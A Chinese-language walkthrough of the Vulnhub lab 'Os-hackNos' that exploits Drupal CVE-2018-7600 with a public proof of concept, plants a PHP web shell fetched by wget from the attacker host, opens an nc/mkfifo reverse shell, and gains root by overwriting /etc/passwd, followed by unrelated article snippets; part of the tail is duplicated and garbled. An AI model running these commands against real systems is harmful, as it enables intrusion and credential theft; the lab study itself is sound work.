hackNos靶机

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台

    Vulnhub

    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件

image-20220626174223932

  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

  • 启动靶机
    • 靶机默认采用的是桥接模式

image-20220626174642763

渗透流程

1.获取网段

  • 扫描本地网段地址、

找到攻击目标的IP地址

kali命令

1.列出所有网段

netdiscover  -i eth0 -r 192.168.31.0/24

image-20230811095456602

  • 或者通过nmap主机探测的获取其 IP地址

    • nmap -sP 192.168.31.0/24
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
      不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
      

image-20230811104431074

2.指定ip进行收集扫描详细信息,

nmap -sV -sC -A  192.168.16.249

-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.

-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中

-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

image-20230811104923443

访问页面

image-20230811105036988

2.目录扫描

使用kali下的gobuster工具扫描

 gobuster  dir -u http://192.168.16.249   -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

image-20230811110100198

扫描结果访问

http://192.168.16.249/drupal

image-20230811110121193

3.cms获取

浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),

cmseek扫描结果

cmseek -u http://192.168.16.249/drupal/      

image-20230811110340165

image-20230811110634471

访问尝试

http://192.168.16.249/drupal/CHANGELOG.txt

image-20230811110721428

4.exp搜索利用

github搜索

image-20230811111159942
得到poc

image-20230811111610093

kali下载:

git clone https://github.com/pimps/CVE-2018-7600   

image-20230811111822780

下载完成进入目录

执行py获取参数提示

python drupa7-CVE-2018-7600.py -h

image-20230811112107496

该漏洞为远程代码执行

image-20230811112733979

poc利用

 python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c whoami

-c可以执行命令

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c ls

列出文件

image-20230811113003484

访问

image-20230811113231195

image-20230811113242723

进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

image-20230811113327756

这里加上""号

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php" 

看到数据库文件及密码

image-20230811113801687

保存下来

这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

image-20230811114036487

5.拿shell

1.首先创建你的一句话木马文件

<?php  system($_POST['binge']);   ?>

2.在exp测目录下开启python带的httpserver,查看ip

python -m SimpleHTTPServer
# 如果出现报错:Python – No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server 

image-20230811141925771

解释:

启动一个HTTP Server,然后通过访问该服务下载资源。

Python 的标准库中内置了Http Server, 可以通过如下方式使用:

对于 Python3,使用方式为:

python -m http.server # 默认端口号为8000

对于 Python2, 使用方式为:

python -m SimpleHTTPServer # 默认端口号为8000

在浏览器里输入http://localhost:端口 可以访问服务器下的资源。

正常访问:

image-20230811142221090

新建终端,在靶场上传木马文件

  • 借助命令wget
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c  "wget http://192.168.16.180:8000/binge.php"
  • 查看是否上传成功
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c ls 

image-20230811143008378

6.通过代理,抓包改包

访问上传成功的地址,带上后门的地址参数,抓包

http://192.168.16.249/drupal/binge.php?binge=id

image-20230811145629708

发送到repeater模块

image-20230811145000469

发送成功过去到id得出的命令数据

image-20230811145752046

也可以执行其他命令image-20230811145851327

6.反弹shell

1.开启一个终端监听设置监听端口

nc -lvnp 9001

在burp中受害者反弹执行

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc  192.168.16.249  9001 >/tmp/f

image-20230811160020226

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:

不一致可以切换 shell

  • python3 -c 'import pty;pty.spawn("/bin/bash")'
    

image-20230811162005858

成功得到反弹shell

ctrl+z将其放到后台中。

image-20230811164653704

7.shell利用

查询当前用户及密码信息

cat /etc/passwd

image-20230811164855610

查看当前存在的用户

cd /home

ls

image-20230811165142215

看到有个james

james:x:1000:1000:james,,,:/home/james:/bin/bash

查看里面,发现有个user.txt,查看里面内容获取到第一个flag

image-20230811165501213

尝试查看root 目录,发现没有权限

返回上一级目录,看到一个可疑文件 alexander.txt

image-20230811171513580

base64解密

image-20230811171838190

搜索后发现为Brainfuck加密

image-20230811172246832

网上搜索解密:

image-20230811172333822

尝试登录用户james,登录失败

无法进行登录

image-20230811172949298

使用ssh进行连接

失败

ssh James@192.168.16.180

image-20230811173227424

8.提权

只能使用提权了

wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下

1.把/etc/passwd下的文件全部复制下来

image-20230811174355309

2.生成一个linux账号和密码

工具 kali下的openssl

openssl passwd -1 -salt sb 123456

image-20230811174737416

账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1

新建一个passwd的文件,复制root,替换里面为新建的账号

image-20230811174934523

开了 httpserver服务器

python -m http.server      

访问 127.0.0.1:8000查看文件是否存在

image-20230811175246122

在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd

image-20230811175600212

wd -1 -salt sb 123456


[外链图片转存中...(img-lEXBfhjd-1691824534371)]



账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1


新建一个passwd的文件,复制root,替换里面为新建的账号

[外链图片转存中...(img-4UQk0hen-1691824534371)]





开了 httpserver服务器

python -m http.server


访问 127.0.0.1:8000查看文件是否存在

[外链图片转存中...(img-1BWBKNjh-1691824534372)]



在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd


[外链图片转存中...(img-A9IgylIi-1691824534372)]



切换账号后,即可得到 root 权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/71039.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LVS/DR+Keepalived负载均衡实战(一)

引言 负载均衡这个概念对于一个IT老鸟来说再也熟悉不过了&#xff0c;当听到此概念的第一反应是想到举世闻名的nginx&#xff0c;但殊不知还有一个大名鼎鼎的负载均衡方案可能被忽略了&#xff0c;因为对于一般系统来说&#xff0c;很多应用场合中采用nginx基本已经满足需求&a…

【C# Programming】C#第一课(自己学习的笔记)

目录 一、C# 介绍 1.1 托管代码(Manage Code ) &#xff1a; 1.2 基础类型库 (Base Class Library)&#xff1a; 1.3 程序集(Assembly)&#xff1a; 1.4 .NET 框架&#xff1a; 1.5 公共中间语言(Common Intermediate Language)&#xff0c;简称 IL。 1.6 C#编译器将源代…

android Ndk Jni动态注册方式以及静态注册

目录 一.静态注册方式 二.动态注册方式 三.源代码 一.静态注册方式 1.项目名\app\src\main下新建一个jni目录 2.在jni目录下,再新建一个Android.mk文件 写入以下配置 LOCAL_PATH := $(call my-dir)//获取当前Android.mk所在目录 inclu

STM32F429IGT6使用CubeMX配置外部中断按键

1、硬件电路 2、设置RCC&#xff0c;选择高速外部时钟HSE,时钟设置为180MHz 3、配置GPIO引脚 4、NVIC配置 PC13相同 5、生成工程配置 6、部分代码 中断回调函数 /* USER CODE BEGIN 0 */void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) {if(GPIO_Pin GPIO_PIN_0){HAL_GPIO…

C语言属刷题训练【第八天】

文章目录 &#x1fa97;1、如下程序的运行结果是&#xff08; &#xff09;&#x1f4bb;2、若有定义&#xff1a; int a[2][3]; &#xff0c;以下选项中对 a 数组元素正确引用的是&#xff08; &#xff09;&#x1f9ff;3、在下面的字符数组定义中&#xff0c;哪一个有语法错…

uniapp创建项目入门【详细】

大家在学习vue和微信小程序之后&#xff0c;就可以开始来学习uniapp了&#xff0c;在uniapp中&#xff0c;一套代码可以跨越所有的平台&#xff0c;可以很方便的维护。接下来我们先来学习如何创建uinapp的项目 一、uniapp的创建需求 大家只要会vue和微信小程序的基础来学习unia…

PHP最简单自定义自己的框架定义常量自动生成目录(三)

1、框架入口增加模块定义&#xff0c;实现多模块功能 index.php 定义模块 <?php //定义当前请求模块 define("MODULE",index); require "./core/KJ.php"; 创建后台模块admin.php <?php define("MODULE",admin); require "./cor…

运维监控学习笔记2

硬件监控&#xff1a; 1&#xff09;使用IPMI 2&#xff09;机房巡检 路由器和交换机&#xff1a; 使用SNMP&#xff08;简单网络管理协议&#xff09;进行监控。 Linux 安装snmp&#xff1a; yum install -y net-snmp net-snmp-utils 说明&#xff1a;net-snmp是安装在snm…

【C语言】结构体详解

现实生活中一个事物&#xff0c;会有许多属性连接起来。而C语言引入一种构造数据类型——结构体 将属于一个事物的多个数据组织起来以体现其内部联系。 一、结构体类型的定义 结构体类型 是一种 构造类型&#xff0c;它是由若干成员组成的&#xff0c;每个成员可以是一个基本…

系统架构设计专业技能 · 系统安全分析与设计(四)【加解密、数字信封、信息摘要、数字签名、数字书证、网络安全、信息安全】

系列文章目录 系统架构设计专业技能 网络规划与设计&#xff08;三&#xff09;【系统架构设计师】 系统架构设计专业技能 系统安全分析与设计&#xff08;四&#xff09;【系统架构设计师】 系统架构设计高级技能 软件架构设计&#xff08;一&#xff09;【系统架构设计师…

概率论与数理统计:第二、三章:一维~n维随机变量及其分布

文章目录 Ch2. 一维随机变量及其分布1.一维随机变量1.随机变量2.分布函数 F ( x ) F(x) F(x)(1)定义(2)分布函数的性质 (充要条件)(3)分布函数的应用——求概率3.最大最小值函数 2.一维离散型随机变量及其概率分布(分布律)3.一维连续型随机变量及其概率分布(概率密度)4.一般类型…

openocd调试esp32(通过FT232H)

之前在学习ESP32&#xff0c;其中有一部分课程是学习openocd通过JTAG调试程序的&#xff0c;因为我用的是ESP32-wroom&#xff0c;usb端口没有集成对应的usb转jtag的ft232&#xff0c;查了ESP32相关的资料&#xff08;JTAG 调试 - ESP32 - — ESP-IDF 编程指南 latest 文档 (es…

Linux 目录和文件常见操作

就常见的命令&#xff1a; pwd pwd 显示当前的目录 目录迁移 我以如下的目录大致结构做一个简单的例子 cd 迁移到指定的路径&#xff0c;可以指定相对路径和绝对路径&#xff0c;默认相对 .指向当前路径&#xff0c;…/ 指向上一级的目录。 ls 列出文件及其目录 命令选…

android 如何分析应用的内存(十八)终章——使用Perfetto查看内存与调用栈之间的泄露

android 如何分析应用的内存&#xff08;十八&#xff09; 在前面两篇文章中&#xff0c;先是介绍了如何用AS查看Android的堆内存&#xff0c;然后介绍了使用MAT查看 Android的堆内存。AS能够满足基本的内存分析需求&#xff0c;但是无法进行多个堆的综合比较&#xff0c;因此…

第六章 SpringBoot注解 @ConditionalOnBean

满足条件的则进行组件的注入 Configuration(proxyBeanMethods true) //告诉SpringBoot这是一个配置类 配置文件 ConditionalOnBean(name "tom") public class MyConfig {Bean("tom")public Pet tom(){return new Pet("tomPet");}/*** 外部无论…

linux 命令--查看网络端口命令

使用 netstat 检查端口 netstat 是一个命令行工具&#xff0c;可以提供有关网络连接的信息。 netstat - atulnp会显示所有端口和所有对应的程序&#xff0c;用grep管道可以过滤出想要的字段 -a &#xff1a;all&#xff0c;表示列出所有的连接&#xff0c;服务监听&#xff…

对文件的读取和修改 JAVA

目录 1、try catch:2、hasNextLine():3、java读取某个文件夹信息&#xff1a;4、修改&#xff1a; 1、try catch: 1、try语句对你觉得可能会有问题的语句进行尝试 2、try内语句出现错误会被catch语句捕捉&#xff0c;且整个程序不会崩溃 3、try语句出错才会执行下方catch语句…

在R中比较两个矩阵是否相等

目录 方法一&#xff1a;使用all.equal()比较两个R对象是否近似相等 方法二&#xff1a;使用identical比较两个R对象是否精确相等。 方法一&#xff1a;使用all.equal()比较两个R对象是否近似相等 使用函数&#xff1a;all.equal(x,y) 比较两个R对象x和y是否近似相等 > M1…

特语云用Linux和MCSM面板搭建 我的世界基岩版插件服 教程

Linux系统 用MCSM和DockerWine 搭建 我的世界 LiteLoaderBDS 服务器 Minecraft Bedrock Edition 也就是我的世界基岩版&#xff0c;这是 Minecraft 的另一个版本。Minecraft 基岩版可以运行在 Win10、Android、iOS、XBox、switch。基岩版不能使用 Java 版的服务器&#xff0c;…

tomcat设置PermSize

最近tomcat老是报错,查看了日志出现PermGen 内存不够用,重启tomcat后查询使用情况 通过启动参数发现没有设置 PermGen,继续通过jmap查看 jmap -heap 21179 发现99%已使用,而且默认是30.5M,太小了,这里设置成256M 1. 创建setenv.sh文件 在/usr/local/tomcat/bin目录下创建一个…